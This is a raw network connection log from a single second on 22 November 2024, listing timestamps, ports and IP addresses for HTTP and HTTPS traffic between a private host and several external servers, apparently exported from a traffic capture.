Nov 22, 2024 23:06:32.434640884 CET	49820	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.437777042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.437851906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.438246012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.438267946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.438302040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.438318968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.438333035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.438519001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.439114094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.439224958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.439627886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.439677954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.439995050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.440182924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.447907925 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.447963953 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.447972059 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.451709032 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.451766968 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.451773882 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.460086107 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.460158110 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.460164070 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.467936993 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.468041897 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.468080997 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.468090057 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.468178034 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.473606110 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.474204063 CET	49813	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.474229097 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.474685907 CET	49813	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.474690914 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.475800991 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.479362965 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.483685970 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.483781099 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.483788013 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.487483978 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.487663984 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.487725019 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.487823963 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.487835884 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.490897894 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.490972042 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.490981102 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.498428106 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.498603106 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.498610973 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.506004095 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.506086111 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.506089926 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.506118059 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.506165981 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.513514996 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.521176100 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.521251917 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.521260023 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.525019884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.525084972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.525101900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.525161028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.525253057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.525309086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.525350094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.525496960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.526168108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.526233912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.526387930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.526439905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.527072906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.527117968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.527235985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.527357101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.527987003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.528033018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.528098106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.528924942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.528944969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.529004097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.529042959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.529736996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.529791117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.529866934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.529913902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.530030966 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.530121088 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.530138969 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.530147076 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.530194998 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.530632973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.530687094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.530756950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.530798912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.531493902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.531522036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.531543970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.531560898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.532377005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.532426119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.532481909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.532524109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.533265114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.533313036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.533616066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.533696890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.534172058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.534219980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.534334898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.534573078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.535001993 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.535057068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.535124063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.535156012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.535191059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.535527945 CET	49815	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.535566092 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.535945892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.536020994 CET	49815	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.536027908 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.536042929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.536052942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.536098957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.536627054 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.536830902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.536844015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.536885023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.536901951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.537729979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.537781954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.538088083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.538135052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.538638115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.538651943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.538686037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.539547920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.539560080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.539587021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.539603949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.540397882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.540508032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.541126013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.541169882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.541316986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.541330099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.541393042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.542256117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.542331934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.542512894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.542560101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.543059111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.543107986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.543648958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.543781996 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.543782949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.543804884 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.543823957 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.543831110 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.543908119 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.543931007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.544126034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.544536114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.544591904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.544861078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.544872999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.544915915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.544945955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.545713902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.545758009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.545800924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.545840025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.546591043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.546638012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.547061920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.547249079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.547521114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.547580957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.548274994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.548352957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.548434973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.548451900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.548502922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.549360991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.549386978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.549413919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.549438953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.550184011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.550246000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.550565004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.550621986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.551109076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.551182985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.551265001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.551318884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.551359892 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.552002907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.552032948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.552066088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.552086115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.552820921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.552865982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.552885056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.552901030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.552957058 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.553500891 CET	49814	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.553513050 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.553751945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.553828001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.554024935 CET	49814	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.554028988 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.554675102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.554693937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.554709911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.554743052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.554758072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.555540085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.555598974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.556467056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.556480885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.556497097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.556526899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.556555986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.557305098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.557353020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.557409048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.558176994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.558242083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.558392048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.558468103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.558890104 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.558957100 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.558964014 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.559132099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.559227943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.559283972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.559963942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.560018063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.560316086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.560367107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.560870886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.560888052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.560920954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.560936928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.561774969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.561790943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.561839104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.561871052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.562661886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.562683105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.562731028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.563489914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.563555002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.564239979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.564290047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.564367056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.564383984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.564413071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.564429045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.565197945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.565258026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.566122055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.566135883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.566152096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.566186905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.566203117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.566487074 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.566695929 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.566701889 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.567018986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.567059040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.567116022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.567836046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.567866087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.567910910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.567943096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.568685055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.568798065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.574028015 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.574114084 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.574120998 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.581708908 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.581770897 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.581777096 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.589165926 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.589317083 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.589317083 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.589343071 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.589390993 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.596369982 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.603945971 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.604022026 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.604029894 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.611047029 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.611135960 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.611181974 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.611191988 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.611234903 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.618880033 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.639463902 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.639524937 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.639533997 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.641060114 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.641124010 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.641133070 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.643855095 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.643953085 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.643986940 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.644001961 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.644141912 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.644149065 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.648262024 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.648329973 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.648338079 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.648643970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.648714066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.648802042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.648848057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.649127007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.649142981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.649202108 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.649223089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.649979115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.650048018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.650271893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.650415897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.650489092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.650541067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.667979956 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.668090105 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.668098927 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.668809891 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.669027090 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.669584990 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.669604063 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.701453924 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.701656103 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.701843977 CET	49819	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.702121019 CET	49819	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.702137947 CET	443	49819	172.64.41.3	192.168.2.5
